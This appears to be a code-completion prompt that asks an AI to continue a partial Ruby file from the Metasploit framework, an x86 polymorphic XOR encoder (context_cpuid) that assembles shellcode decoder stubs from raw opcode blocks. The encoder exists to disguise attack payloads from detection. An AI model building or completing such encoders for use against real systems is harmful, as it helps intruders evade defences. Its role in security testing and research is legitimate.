You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: context_cpuid.rb
    path of file: ./repos/metasploit-framework/modules/encoders/x86
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/poly'

class MetasploitModule < Msf::Encoder::XorAdditiveFeedback

  # Manual ranking because the cpuid value is generated a
    
  def generate_shikata_block(state, length, cutoff)
    # Declare logical registers
    key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
    count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
    addr_reg  = Rex::Poly::LogicalRegister::X86.new('addr')

    # Declare individual blocks
    endb = Rex::Poly::SymbolicBlock::End.new

    # FPU blocks
    fpu = Rex::Poly::LogicalBlock.new('fpu',
      *fpu_instructions)
    fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4")

    # Get EIP off the stack
    popeip = Rex::Poly::LogicalBlock.new('popeip',
      Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })

    # Clear the counter register
    clear_register = Rex::Poly::LogicalBlock.new('clear_register',
      "\x31\xc9",
      "\x29\xc9",
      "\x33\xc9",
      "\x2b\xc9")

    # Initialize the counter after zeroing it
    init_counter = Rex::Poly::LogicalBlock.new('init_counter')

    # Divide the length by four but ensure that it aligns on a block size
    # boundary (4 byte).
    length += 4 + (4 - (length & 3)) & 3
    length /= 4

    if (length <= 255)
      init_counter.add_perm("\xb1" + [ length ].pack('C'))
    else
      init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
    end